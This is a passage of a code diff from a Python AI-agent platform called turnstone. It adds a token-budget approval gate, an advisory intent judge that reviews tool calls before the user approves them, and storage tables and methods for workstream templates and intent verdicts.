+                "ws_template_system_prompt": self._ws_template_system_prompt,
+                "notify_on_complete": self._notify_on_complete,
             },
         )
 
@@ -454,6 +475,8 @@ class ChatSession:
 
     def close(self) -> None:
         """Release resources (listener registrations, etc.)."""
+        if self._judge is not None:
+            self._judge.shutdown()
         if self._mcp_client and self._mcp_refresh_cb:
             self._mcp_client.remove_listener(self._mcp_refresh_cb)
             self._mcp_refresh_cb = None
@@ -603,6 +626,19 @@ class ChatSession:
             if "template" in config:
                 self._template_name = config["template"] or None
                 self._load_templates()
+            if "token_budget" in config:
+                self._token_budget = int(config["token_budget"] or "0")
+            if "ws_template_id" in config:
+                self._ws_template_id = config["ws_template_id"]
+            if "ws_template_version" in config:
+                self._ws_template_version = int(config["ws_template_version"] or "0")
+            if "ws_template_system_prompt" in config:
+                self._ws_template_system_prompt = config["ws_template_system_prompt"]
+                if self._ws_template_system_prompt:
+                    self._template_content = self._ws_template_system_prompt
+                    self._template_name = None
+            if "notify_on_complete" in config:
+                self._notify_on_complete = config["notify_on_complete"]
             self._init_system_messages()
         return True
 
@@ -896,6 +932,24 @@ class ChatSession:
 
     def send(self, user_input: str) -> None:
         """Send user input and handle the response loop (including tool calls)."""
+        # Token budget approval gate
+        if self._budget_exhausted:
+            approved, _ = self.ui.approve_tools(
+                [
+                    {
+                        "func_name": "__budget_override__",
+                        "preview": (
+                            f"Token budget ({self._token_budget:,}) exhausted. Approve to continue."
+                        ),
+                        "needs_approval": True,
+                    }
+                ]
+            )
+            if not approved:
+                self.ui.on_error("Token budget exhausted. Approval required to continue.")
+                return
+            self._budget_exhausted = False
+            self._budget_warned = False
         self._notify_count = 0
         self._cancel_event.clear()
         self._cancelled_partial_msg = None
@@ -934,28 +988,29 @@ class ChatSession:
                 tc = assistant_msg.get("tool_calls")
                 provider_data = None
                 if assistant_msg.get("_provider_content"):
-                    import json as _json
+                    provider_data = json.dumps(assistant_msg["_provider_content"])
 
-                    provider_data = _json.dumps(assistant_msg["_provider_content"])
-                if content or provider_data is not None:
-                    save_message(self._ws_id, "assistant", content, provider_data=provider_data)
+                # Build tool_calls JSON (excluding memory tools)
+                tool_calls_json: str | None = None
                 if tc:
-                    for call in tc:
-                        fn = call.get("function", {})
-                        name = fn.get("name", "")
-                        if name not in (
-                            "remember",
-                            "forget",
-                            "recall",
-                        ):
-                            save_message(
-                                self._ws_id,
-                                "tool_call",
-                                None,
-                                name,
-                                fn.get("arguments", ""),
-                                tool_call_id=call.get("id"),
-                            )
+                    filtered_tc = [
+                        call
+                        for call in tc
+                        if call.get("function", {}).get("name", "")
+                        not in ("remember", "forget", "recall")
+                    ]
+                    if filtered_tc:
+                        tool_calls_json = json.dumps(filtered_tc)
+
+                # Save assistant message atomically (content + tool_calls in one row)
+                if content or provider_data is not None or tool_calls_json:
+                    save_message(
+                        self._ws_id,
+                        "assistant",
+                        content,
+                        provider_data=provider_data,
+                        tool_calls=tool_calls_json,
+                    )
 
                 tool_calls = assistant_msg.get("tool_calls")
                 if not tool_calls:
@@ -1024,7 +1079,7 @@ class ChatSession:
                             store_text = output[:2000]
                         save_message(
                             self._ws_id,
-                            "tool_result",
+                            "tool",
                             store_text,
                             _tname,
                             tool_call_id=tc_id,
@@ -1441,6 +1496,15 @@ class ChatSession:
         # Stash completion_tokens for the assistant message about to be appended
         self._assistant_pending_tokens = compl_tok
 
+        # Token budget tracking
+        if self._token_budget > 0:
+            total = prompt_tok + compl_tok
+            if not self._budget_warned and total >= self._token_budget * 0.8:
+                self._budget_warned = True
+                self.ui.on_info(f"Token budget 80% consumed ({total:,}/{self._token_budget:,})")
+            if total >= self._token_budget:
+                self._budget_exhausted = True
+
     def _print_status_line(self) -> None:
         """Emit status info via the UI."""
         if not self._last_usage:
@@ -1654,6 +1718,76 @@ class ChatSession:
         lines.append(separator)
         self.ui.on_info("\n".join(lines))
 
+    # -- Intent validation --------------------------------------------------------
+
+    def _ensure_judge(self) -> IntentJudge | None:
+        """Lazily initialize the intent judge if configured."""
+        if self._judge is not None:
+            return self._judge
+        if not self._judge_config or not self._judge_config.enabled:
+            return None
+        try:
+            from turnstone.core.judge import IntentJudge
+
+            caps = self._get_capabilities()
+            self._judge = IntentJudge(
+                config=self._judge_config,
+                session_provider=self._provider,
+                session_client=self.client,
+                session_model=self.model,
+                context_window=caps.context_window,
+            )
+        except Exception:
+            log.warning("judge.init_failed", exc_info=True)
+        return self._judge
+
+    def _evaluate_intent(
+        self,
+        items: list[dict[str, Any]],
+    ) -> None:
+        """Run intent validation on pending approval items.
+
+        Attaches heuristic verdicts to items immediately.  Spawns the
+        async LLM judge that delivers final verdicts via UI callback.
+        """
+        judge = self._ensure_judge()
+        if not judge:
+            return
+
+        # Only evaluate items that need approval and aren't errors
+        pending = [it for it in items if it.get("needs_approval") and not it.get("error")]
+        if not pending:
+            return
+
+        # Build func_args from tool-specific item keys so the heuristic
+        # engine can pattern-match on argument content.
+        for it in pending:
+            name = it.get("func_name", "")
+            if name == "bash":
+                it["func_args"] = {"command": it.get("command", "")}
+            elif name in ("write_file", "edit_file", "read_file"):
+                it["func_args"] = {"path": it.get("path", "")}
+            elif it.get("mcp_args"):
+                it["func_args"] = it["mcp_args"]
+            # Other tools: func_args stays absent → judge defaults to {}
+
+        def _on_verdict(verdict: object) -> None:
+            """Callback from the daemon judge thread."""
+            try:
+                self.ui.on_intent_verdict(verdict.to_dict())  # type: ignore[attr-defined]
+            except Exception:
+                log.debug("judge.verdict_delivery_failed", exc_info=True)
+
+        heuristic_verdicts = judge.evaluate(
+            pending,
+            list(self.messages),  # snapshot — daemon thread must not see mutations
+            callback=_on_verdict,
+        )
+
+        # Attach heuristic verdicts to items for the approval UI
+        for item, verdict in zip(pending, heuristic_verdicts, strict=True):
+            item["_heuristic_verdict"] = verdict.to_dict()
+
     # -- Two-phase tool execution -----------------------------------------------
     #
     # Phase 1 — prepare: parse args, validate, build preview text (serial)
@@ -1671,6 +1805,9 @@ class ChatSession:
         # Phase 1: prepare all tool calls
         items = [self._prepare_tool(tc) for tc in tool_calls]
 
+        # Intent validation (advisory, non-blocking)
+        self._evaluate_intent(items)
+
         # Phase 2: approve via UI
         self._emit_state("attention")
         approved, user_feedback = self.ui.approve_tools(items)
@@ -1680,7 +1817,9 @@ class ChatSession:
             for item in items:
                 if item.get("needs_approval") and not item.get("error"):
                     item["denied"] = True
-                    item["denial_msg"] = user_feedback or "Denied by user"
+                    item["denial_msg"] = (
+                        f"Denied by user: {user_feedback}" if user_feedback else "Denied by user"
+                    )
             user_feedback = None  # feedback is in the denial_msg
 
         # Phase 3: execute (check cancellation before starting)

turnstone/core/storage/_postgresql.py

@@ -2,6 +2,7 @@
 
 from __future__ import annotations
 
+import json
 import logging
 from datetime import UTC, datetime, timedelta
 from typing import Any
@@ -12,6 +13,7 @@ from turnstone.core.storage._schema import (
     api_tokens,
     audit_events,
     conversations,
+    intent_verdicts,
     memories,
     metadata,
     orgs,
@@ -22,30 +24,38 @@ from turnstone.core.storage._schema import (
     user_roles,
     users,
     workstream_config,
+    workstream_template_versions,
+    workstream_templates,
     workstreams,
 )
-from turnstone.core.storage._sqlite import _reconstruct_messages
+from turnstone.core.storage._utils import (
+    ORG_MUTABLE as _ORG_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    POLICY_MUTABLE as _POLICY_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    ROLE_MUTABLE as _ROLE_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    TEMPLATE_MUTABLE as _TEMPLATE_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    VERDICT_MUTABLE as _VERDICT_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    WS_TEMPLATE_MUTABLE as _WS_TEMPLATE_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    reconstruct_messages as _reconstruct_messages,
+)
+from turnstone.core.storage._utils import (
+    row_to_dict as _row_to_dict,
+)
 
 log = logging.getLogger(__name__)
 
 
-def _row_to_dict(row: Any, *bool_fields: str) -> dict[str, Any]:
-    """Convert a SQLAlchemy row to a dict, casting named fields to bool."""
-    d = dict(row._mapping)
-    for key in bool_fields:
-        if key in d:
-            d[key] = bool(d[key])
-    return d
-
-
-# -- Field allowlists for governance update methods ---------------------------
-
-_ROLE_MUTABLE = frozenset({"display_name", "permissions"})
-_ORG_MUTABLE = frozenset({"display_name", "settings"})
-_POLICY_MUTABLE = frozenset({"name", "tool_pattern", "action", "priority", "enabled"})
-_TEMPLATE_MUTABLE = frozenset({"name", "content", "category", "variables", "is_default"})
-
-
 class PostgreSQLBackend:
     """PostgreSQL implementation of the StorageBackend protocol."""
 
@@ -72,6 +82,7 @@ class PostgreSQLBackend:
         tool_args: str | None = None,
         tool_call_id: str | None = None,
         provider_data: str | None = None,
+        tool_calls: str | None = None,
     ) -> None:
         now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
         with self._engine.connect() as conn:
@@ -86,6 +97,7 @@ class PostgreSQLBackend:
                     "tool_args": tool_args,
                     "tool_call_id": tool_call_id,
                     "provider_data": provider_data,
+                    "tool_calls": tool_calls,
                 },
             )
             conn.execute(
@@ -103,6 +115,7 @@ class PostgreSQLBackend:
                     conversations.c.tool_args,
                     conversations.c.tool_call_id,
                     conversations.c.provider_data,
+                    conversations.c.tool_calls,
                 )
                 .where(conversations.c.ws_id == ws_id)
                 .order_by(conversations.c.id)
@@ -330,6 +343,8 @@ class PostgreSQLBackend:
         user_id: str | None = None,
         alias: str | None = None,
         title: str | None = None,
+        ws_template_id: str = "",
+        ws_template_version: int = 0,
     ) -> None:
         now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
         with self._engine.connect() as conn:
@@ -347,6 +362,8 @@ class PostgreSQLBackend:
                         "state": state,
                         "alias": alias,
                         "title": title,
+                        "ws_template_id": ws_template_id,
+                        "ws_template_version": ws_template_version,
                         "created": now,
                         "updated": now,
                     },
@@ -363,6 +380,22 @@ class PostgreSQLBackend:
             )
             conn.commit()
 
+    def update_workstream_template(
+        self, ws_id: str, ws_template_id: str, ws_template_version: int
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.update(workstreams)
+                .where(workstreams.c.ws_id == ws_id)
+                .values(
+                    ws_template_id=ws_template_id,
+                    ws_template_version=ws_template_version,
+                    updated=now,
+                )
+            )
+            conn.commit()
+
     def update_workstream_name(self, ws_id: str, name: str) -> None:
         now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
         with self._engine.connect() as conn:
@@ -864,6 +897,7 @@ class PostgreSQLBackend:
         created_by: str,
         next_run: str,
         template: str = "",
+        ws_template: str = "",
     ) -> None:
         from sqlalchemy.dialects import postgresql
 
@@ -886,6 +920,7 @@ class PostgreSQLBackend:
                     auto_approve=1 if auto_approve else 0,
                     auto_approve_tools=",".join(auto_approve_tools),
                     template=template,
+                    ws_template=ws_template,
                     enabled=1,
                     created_by=created_by,
                     next_run=next_run,
@@ -929,6 +964,7 @@ class PostgreSQLBackend:
             "auto_approve",
             "auto_approve_tools",
             "template",
+            "ws_template",
             "enabled",
             "last_run",
             "next_run",
@@ -1613,6 +1649,185 @@ class PostgreSQLBackend:
             conn.commit()
             return result.rowcount > 0
 
+    # -- Workstream templates --------------------------------------------------
+
+    def create_ws_template(
+        self,
+        ws_template_id: str,
+        name: str,
+        description: str = "",
+        system_prompt: str = "",
+        prompt_template: str = "",
+        prompt_template_hash: str = "",
+        model: str = "",
+        auto_approve: bool = False,
+        auto_approve_tools: str = "",
+        temperature: float | None = None,
+        reasoning_effort: str = "",
+        max_tokens: int | None = None,
+        token_budget: int = 0,
+        agent_max_turns: int | None = None,
+        notify_on_complete: str = "{}",
+        org_id: str = "",
+        created_by: str = "",
+        enabled: bool = True,
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.insert(workstream_templates),
+                {
+                    "ws_template_id": ws_template_id,
+                    "name": name,
+                    "description": description,
+                    "system_prompt": system_prompt,
+                    "prompt_template": prompt_template,
+                    "prompt_template_hash": prompt_template_hash,
+                    "model": model,
+                    "auto_approve": 1 if auto_approve else 0,
+                    "auto_approve_tools": auto_approve_tools,
+                    "temperature": temperature,
+                    "reasoning_effort": reasoning_effort,
+                    "max_tokens": max_tokens,
+                    "token_budget": token_budget,
+                    "agent_max_turns": agent_max_turns,
+                    "notify_on_complete": notify_on_complete,
+                    "org_id": org_id,
+                    "created_by": created_by,
+                    "enabled": 1 if enabled else 0,
+                    "version": 1,
+                    "created": now,
+                    "updated": now,
+                },
+            )
+            conn.commit()
+
+    def get_ws_template(self, ws_template_id: str) -> dict[str, Any] | None:
+        with self._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstream_templates).where(
+                    workstream_templates.c.ws_template_id == ws_template_id
+                )
+            ).fetchone()
+            if row:
+                return _row_to_dict(row, "auto_approve", "enabled")
+            return None
+
+    def get_ws_template_by_name(self, name: str) -> dict[str, Any] | None:
+        with self._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstream_templates).where(workstream_templates.c.name == name)
+            ).fetchone()
+            if row:
+                return _row_to_dict(row, "auto_approve", "enabled")
+            return None
+
+    def list_ws_templates(
+        self, org_id: str = "", enabled_only: bool = False
+    ) -> list[dict[str, Any]]:
+        with self._engine.connect() as conn:
+            q = sa.select(workstream_templates).order_by(workstream_templates.c.name)
+            if org_id:
+                q = q.where(workstream_templates.c.org_id == org_id)
+            if enabled_only:
+                q = q.where(workstream_templates.c.enabled == 1)
+            rows = conn.execute(q).fetchall()
+            return [_row_to_dict(r, "auto_approve", "enabled") for r in rows]
+
+    def update_ws_template(self, ws_template_id: str, changed_by: str = "", **fields: Any) -> bool:
+        with self._engine.connect() as conn:
+            # Snapshot current state before updating
+            current = conn.execute(
+                sa.select(workstream_templates).where(
+                    workstream_templates.c.ws_template_id == ws_template_id
+                )
+            ).fetchone()
+            if not current:
+                return False
+            cur = _row_to_dict(current, "auto_approve", "enabled")
+
+            # Filter to allowed fields — skip snapshot if no effective changes
+            dropped = set(fields) - _WS_TEMPLATE_MUTABLE
+            if dropped:
+                log.warning("update_ws_template: ignoring unknown fields: %s", dropped)
+            fields = {k: v for k, v in fields.items() if k in _WS_TEMPLATE_MUTABLE}
+            if not fields:
+                return True  # Nothing to update
+
+            # Create version snapshot
+            now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+            conn.execute(
+                sa.insert(workstream_template_versions),
+                {
+                    "ws_template_id": ws_template_id,
+                    "version": cur["version"],
+                    "snapshot": json.dumps(cur, default=str),
+                    "changed_by": changed_by,
+                    "created": now,
+                },
+            )
+
+            fields["updated"] = now
+            fields["version"] = cur["version"] + 1
+            if "auto_approve" in fields:
+                fields["auto_approve"] = int(fields["auto_approve"])
+            if "enabled" in fields:
+                fields["enabled"] = int(fields["enabled"])
+
+            result = conn.execute(
+                sa.update(workstream_templates)
+                .where(workstream_templates.c.ws_template_id == ws_template_id)
+                .values(**fields)
+            )
+            conn.commit()
+            return result.rowcount > 0
+
+    def delete_ws_template(self, ws_template_id: str) -> bool:
+        with self._engine.connect() as conn:
+            # Cascade-delete versions first
+            conn.execute(
+                sa.delete(workstream_template_versions).where(
+                    workstream_template_versions.c.ws_template_id == ws_template_id
+                )
+            )
+            result = conn.execute(
+                sa.delete(workstream_templates).where(
+                    workstream_templates.c.ws_template_id == ws_template_id
+                )
+            )
+            conn.commit()
+            return result.rowcount > 0
+
+    def create_ws_template_version(
+        self,
+        ws_template_id: str,
+        version: int,
+        snapshot: str,
+        changed_by: str = "",
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.insert(workstream_template_versions),
+                {
+                    "ws_template_id": ws_template_id,
+                    "version": version,
+                    "snapshot": snapshot,
+                    "changed_by": changed_by,
+                    "created": now,
+                },
+            )
+            conn.commit()
+
+    def list_ws_template_versions(self, ws_template_id: str) -> list[dict[str, Any]]:
+        with self._engine.connect() as conn:
+            rows = conn.execute(
+                sa.select(workstream_template_versions)
+                .where(workstream_template_versions.c.ws_template_id == ws_template_id)
+                .order_by(workstream_template_versions.c.version.desc())
+            ).fetchall()
+            return [_row_to_dict(r) for r in rows]
+
     # -- Usage events ----------------------------------------------------------
 
     def record_usage_event(
@@ -1819,6 +2034,116 @@ class PostgreSQLBackend:
             conn.commit()
             return result.rowcount
 
+    # -- Intent verdicts -------------------------------------------------------
+
+    def create_intent_verdict(
+        self,
+        verdict_id: str,
+        ws_id: str,
+        call_id: str,
+        func_name: str,
+        func_args: str,
+        intent_summary: str,
+        risk_level: str,
+        confidence: float,
+        recommendation: str,
+        reasoning: str,
+        evidence: str,
+        tier: str,
+        judge_model: str,
+        latency_ms: int,
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.insert(intent_verdicts),
+                {
+                    "verdict_id": verdict_id,
+                    "ws_id": ws_id,
+                    "call_id": call_id,
+                    "func_name": func_name,
+                    "func_args": func_args,
+                    "intent_summary": intent_summary,
+                    "risk_level": risk_level,
+                    "confidence": confidence,
+                    "recommendation": recommendation,
+                    "reasoning": reasoning,
+                    "evidence": evidence,
+                    "tier": tier,
+                    "judge_model": judge_model,
+                    "latency_ms": latency_ms,
+                    "created": now,
+                },
+            )
+            conn.commit()
+
+    def get_intent_verdict(self, verdict_id: str) -> dict[str, Any] | None:
+        with self._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(intent_verdicts).where(intent_verdicts.c.verdict_id == verdict_id)
+            ).fetchone()
+            if row is None:
+                return None
+            return dict(row._mapping)
+
+    def list_intent_verdicts(
+        self,
+        ws_id: str = "",
+        since: str = "",
+        until: str = "",
+        risk_level: str = "",
+        limit: int = 100,
+        offset: int = 0,
+    ) -> list[dict[str, Any]]:
+        with self._engine.connect() as conn:
+            q = sa.select(intent_verdicts).order_by(
+                intent_verdicts.c.created.desc(), intent_verdicts.c.verdict_id.desc()
+            )
+            if ws_id:
+                q = q.where(intent_verdicts.c.ws_id == ws_id)
+            if since:
+                q = q.where(intent_verdicts.c.created >= since)
+            if until:
+                q = q.where(intent_verdicts.c.created <= until)
+            if risk_level:
+                q = q.where(intent_verdicts.c.risk_level == risk_level)
+            q = q.limit(limit).offset(offset)
+            rows = conn.execute(q).fetchall()
+            return [dict(r._mapping) for r in rows]
+
+    def update_intent_verdict(self, verdict_id: str, **fields: Any) -> bool:
+        fields = {k: v for k, v in fields.items() if k in _VERDICT_MUTABLE}
+        if not fields:
+            return False
+        with self._engine.connect() as conn:
+            result = conn.execute(
+                sa.update(intent_verdicts)
+                .where(intent_verdicts.c.verdict_id == verdict_id)
+                .values(**fields)
+            )
+            conn.commit()
+            return result.rowcount > 0
+
+    def count_intent_verdicts(
+        self,
+        ws_id: str = "",
+        since: str = "",
+        until: str = "",
+        risk_level: str = "",
+    ) -> int:
+        with self._engine.connect() as conn:
+            q = sa.select(sa.func.count()).select_from(intent_verdicts)
+            if ws_id:
+                q = q.where(intent_verdicts.c.ws_id == ws_id)
+            if since:
+                q = q.where(intent_verdicts.c.created >= since)
+            if until:
+                q = q.where(intent_verdicts.c.created <= until)
+            if risk_level:
+                q = q.where(intent_verdicts.c.risk_level == risk_level)
+            row = conn.execute(q).fetchone()
+            return row[0] if row else 0
+
     # -- Lifecycle -------------------------------------------------------------
 
     def close(self) -> None:

turnstone/core/storage/_protocol.py

@@ -24,6 +24,7 @@ class StorageBackend(Protocol):
         tool_args: str | None = None,
         tool_call_id: str | None = None,
         provider_data: str | None = None,
+        tool_calls: str | None = None,
     ) -> None:
         """Log a message to the conversations table."""
         ...
@@ -103,6 +104,8 @@ class StorageBackend(Protocol):
         user_id: str | None = None,
         alias: str | None = None,
         title: str | None = None,
+        ws_template_id: str = "",
+        ws_template_version: int = 0,
     ) -> None:
         """Create a workstreams row (no-op if already exists)."""
         ...
@@ -115,6 +118,12 @@ class StorageBackend(Protocol):
         """Update a workstream's display name."""
         ...
 
+    def update_workstream_template(
+        self, ws_id: str, ws_template_id: str, ws_template_version: int
+    ) -> None:
+        """Set the ws_template_id and ws_template_version on a workstream row."""
+        ...
+
     def delete_workstream(self, ws_id: str) -> bool:
         """Delete a workstream and all its conversations + config."""
         ...
@@ -248,6 +257,7 @@ class StorageBackend(Protocol):
         created_by: str,
         next_run: str,
         template: str = "",
+        ws_template: str = "",
     ) -> None:
         """Create a scheduled task. No-op if task_id already exists."""
         ...
@@ -507,6 +517,68 @@ class StorageBackend(Protocol):
         """Delete a prompt template. Returns True if found."""
         ...
 
+    # -- Workstream templates --------------------------------------------------
+
+    def create_ws_template(
+        self,
+        ws_template_id: str,
+        name: str,
+        description: str = "",
+        system_prompt: str = "",
+        prompt_template: str = "",
+        prompt_template_hash: str = "",
+        model: str = "",
+        auto_approve: bool = False,
+        auto_approve_tools: str = "",
+        temperature: float | None = None,
+        reasoning_effort: str = "",
+        max_tokens: int | None = None,
+        token_budget: int = 0,
+        agent_max_turns: int | None = None,
+        notify_on_complete: str = "{}",
+        org_id: str = "",
+        created_by: str = "",
+        enabled: bool = True,
+    ) -> None:
+        """Create a workstream template."""
+        ...
+
+    def get_ws_template(self, ws_template_id: str) -> dict[str, Any] | None:
+        """Return workstream template dict or None."""
+        ...
+
+    def get_ws_template_by_name(self, name: str) -> dict[str, Any] | None:
+        """Lookup workstream template by name. Returns same dict or None."""
+        ...
+
+    def list_ws_templates(
+        self, org_id: str = "", enabled_only: bool = False
+    ) -> list[dict[str, Any]]:
+        """Return all workstream templates ordered by name."""
+        ...
+
+    def update_ws_template(self, ws_template_id: str, changed_by: str = "", **fields: Any) -> bool:
+        """Update fields on a workstream template. Auto-snapshots version. Returns True if found."""
+        ...
+
+    def delete_ws_template(self, ws_template_id: str) -> bool:
+        """Delete a workstream template and cascade-delete versions. Returns True if found."""
+        ...
+
+    def create_ws_template_version(
+        self,
+        ws_template_id: str,
+        version: int,
+        snapshot: str,
+        changed_by: str = "",
+    ) -> None:
+        """Create a version snapshot for a workstream template."""
+        ...
+
+    def list_ws_template_versions(self, ws_template_id: str) -> list[dict[str, Any]]:
+        """List version history for a workstream template, ordered by version DESC."""
+        ...
+
     # -- Usage events ----------------------------------------------------------
 
     def record_usage_event(
@@ -579,6 +651,58 @@ class StorageBackend(Protocol):
         """Delete audit events older than retention_days. Returns count deleted."""
         ...
 
+    # -- Intent verdicts -------------------------------------------------------
+
+    def create_intent_verdict(
+        self,
+        verdict_id: str,
+        ws_id: str,
+        call_id: str,
+        func_name: str,
+        func_args: str,
+        intent_summary: str,
+        risk_level: str,
+        confidence: float,
+        recommendation: str,
+        reasoning: str,
+        evidence: str,
+        tier: str,
+        judge_model: str,
+        latency_ms: int,
+    ) -> None:
+        """Record an intent validation verdict."""
+        ...
+
+    def get_intent_verdict(self, verdict_id: str) -> dict[str, Any] | None:
+        """Return intent verdict dict or None."""
+        ...
+
+    def list_intent_verdicts(
+        self,
+        ws_id: str = "",
+        since: str = "",
+        until: str = "",
+        risk_level: str = "",
+        limit: int = 100,
+        offset: int = 0,
+    ) -> list[dict[str, Any]]:
+        """List intent verdicts with optional filters, ordered by created DESC."""
+        ...
+
+    def update_intent_verdict(self, verdict_id: str, **fields: Any) -> bool:
+        """Update fields on an intent verdict (e.g. user_decision). Returns True if found."""
+        ...
+
+    def count_intent_verdicts(
+        self,
+        ws_id: str = "",
+        since: str = "",
+        until: str = "",
+        risk_level: str = "",
+    ) -> int:
+        """Count intent verdicts matching the filters."""
+        ...
+
     # -- Lifecycle -------------------------------------------------------------
 
     def close(self) -> None:

turnstone/core/storage/_schema.py

@@ -30,6 +30,7 @@ conversations = sa.Table(
     sa.Column("tool_args", sa.Text),
     sa.Column("tool_call_id", sa.Text),
     sa.Column("provider_data", sa.Text),
+    sa.Column("tool_calls", sa.Text),
 )
 
 workstreams = sa.Table(
@@ -42,6 +43,8 @@ workstreams = sa.Table(
     sa.Column("title", sa.Text),
     sa.Column("name", sa.Text, nullable=False, server_default=""),
     sa.Column("state", sa.Text, nullable=False, server_default="idle"),
+    sa.Column("ws_template_id", sa.Text, nullable=False, server_default=""),
+    sa.Column("ws_template_version", sa.Integer, nullable=False, server_default="0"),
     sa.Column("created", sa.Text, nullable=False),
     sa.Column("updated", sa.Text, nullable=False),
 )
@@ -141,6 +144,7 @@ scheduled_tasks = sa.Table(
     sa.Column("auto_approve", sa.Integer, nullable=False, server_default="0"),
     sa.Column("auto_approve_tools", sa.Text, nullable=False, server_default=""),
     sa.Column("template", sa.Text, nullable=False, server_default=""),
+    sa.Column("ws_template", sa.Text, nullable=False, server_default=""),
     sa.Column("enabled", sa.Integer, nullable=False, server_default="1"),
     sa.Column("created_by", sa.Text, nullable=False, server_default=""),
     sa.Column("last_run", sa.Text),
@@ -296,6 +300,58 @@ prompt_templates = sa.Table(
     sa.Column("updated", sa.Text, nullable=False),
 )
 
+# ---------------------------------------------------------------------------
+# Workstream templates — behavioral profiles for workstream creation
+# ---------------------------------------------------------------------------
+
+workstream_templates = sa.Table(
+    "workstream_templates",
+    metadata,
+    sa.Column("ws_template_id", sa.Text, primary_key=True),
+    sa.Column("name", sa.Text, nullable=False, unique=True),
+    sa.Column("description", sa.Text, nullable=False, server_default=""),
+    sa.Column("system_prompt", sa.Text, nullable=False, server_default=""),
+    sa.Column("prompt_template", sa.Text, nullable=False, server_default=""),
+    sa.Column("prompt_template_hash", sa.Text, nullable=False, server_default=""),
+    sa.Column("model", sa.Text, nullable=False, server_default=""),
+    sa.Column("auto_approve", sa.Integer, nullable=False, server_default="0"),
+    sa.Column("auto_approve_tools", sa.Text, nullable=False, server_default=""),
+    sa.Column("temperature", sa.Float),
+    sa.Column("reasoning_effort", sa.Text, nullable=False, server_default=""),
+    sa.Column("max_tokens", sa.Integer),
+    sa.Column("token_budget", sa.Integer, nullable=False, server_default="0"),
+    sa.Column("agent_max_turns", sa.Integer),
+    sa.Column("notify_on_complete", sa.Text, nullable=False, server_default="{}"),
+    sa.Column("org_id", sa.Text, nullable=False, server_default=""),
+    sa.Column("created_by", sa.Text, nullable=False, server_default=""),
+    sa.Column("enabled", sa.Integer, nullable=False, server_default="1"),
+    sa.Column("version", sa.Integer, nullable=False, server_default="1"),
+    sa.Column("created", sa.Text, nullable=False),
+    sa.Column("updated", sa.Text, nullable=False),
+)
+
+sa.Index("idx_ws_templates_enabled", workstream_templates.c.enabled)
+sa.Index("idx_ws_templates_org", workstream_templates.c.org_id)
+
+workstream_template_versions = sa.Table(
+    "workstream_template_versions",
+    metadata,
+    sa.Column("id", sa.Integer, primary_key=True, autoincrement=True),
+    sa.Column("ws_template_id", sa.Text, nullable=False),
+    sa.Column("version", sa.Integer, nullable=False),
+    sa.Column("snapshot", sa.Text, nullable=False),
+    sa.Column("changed_by", sa.Text, nullable=False, server_default=""),
+    sa.Column("created", sa.Text, nullable=False),
+)
+
+sa.Index("idx_ws_tpl_versions_tpl", workstream_template_versions.c.ws_template_id)
+sa.Index(
+    "uq_ws_tpl_versions_tpl_ver",
+    workstream_template_versions.c.ws_template_id,
+    workstream_template_versions.c.version,
+    unique=True,
+)
+
 usage_events = sa.Table(
     "usage_events",
     metadata,
@@ -333,3 +389,32 @@ audit_events = sa.Table(
 sa.Index("idx_audit_timestamp", audit_events.c.timestamp)
 sa.Index("idx_audit_action", audit_events.c.action)
 sa.Index("idx_audit_user", audit_events.c.user_id)
+
+# ---------------------------------------------------------------------------
+# Intent verdicts — LLM judge verdicts for tool call validation
+# ---------------------------------------------------------------------------
+
+intent_verdicts = sa.Table(
+    "intent_verdicts",
+    metadata,
+    sa.Column("verdict_id", sa.Text, primary_key=True),
+    sa.Column("ws_id", sa.Text, nullable=False),
+    sa.Column("call_id", sa.Text, nullable=False),
+    sa.Column("func_name", sa.Text, nullable=False),
+    sa.Column("func_args", sa.Text, nullable=False, server_default=""),
+    sa.Column("intent_summary", sa.Text, nullable=False),
+    sa.Column("risk_level", sa.Text, nullable=False),
+    sa.Column("confidence", sa.Float, nullable=False),
+    sa.Column("recommendation", sa.Text, nullable=False),
+    sa.Column("reasoning", sa.Text, nullable=False),
+    sa.Column("evidence", sa.Text, nullable=False, server_default="[]"),
+    sa.Column("tier", sa.Text, nullable=False),
+    sa.Column("judge_model", sa.Text, nullable=False, server_default=""),
+    sa.Column("user_decision", sa.Text, nullable=False, server_default=""),
+    sa.Column("latency_ms", sa.Integer, nullable=False, server_default="0"),
+    sa.Column("created", sa.Text, nullable=False),
+)
+
+sa.Index("idx_intent_verdicts_ws", intent_verdicts.c.ws_id)
+sa.Index("idx_intent_verdicts_created", intent_verdicts.c.created)
+sa.Index("idx_intent_verdicts_risk", intent_verdicts.c.risk_level)

turnstone/core/storage/_sqlite.py

@@ -2,7 +2,6 @@
 
 from __future__ import annotations
 
-import contextlib
 import json
 import logging
 from datetime import UTC, datetime, timedelta
@@ -14,6 +13,7 @@ from turnstone.core.storage._schema import (
     api_tokens,
     audit_events,
     conversations,
+    intent_verdicts,
     memories,
     metadata,
     orgs,
@@ -24,8 +24,34 @@ from turnstone.core.storage._schema import (
     user_roles,
     users,
     workstream_config,
+    workstream_template_versions,
+    workstream_templates,
     workstreams,
 )
+from turnstone.core.storage._utils import (
+    ORG_MUTABLE as _ORG_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    POLICY_MUTABLE as _POLICY_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    ROLE_MUTABLE as _ROLE_MUTABLE,
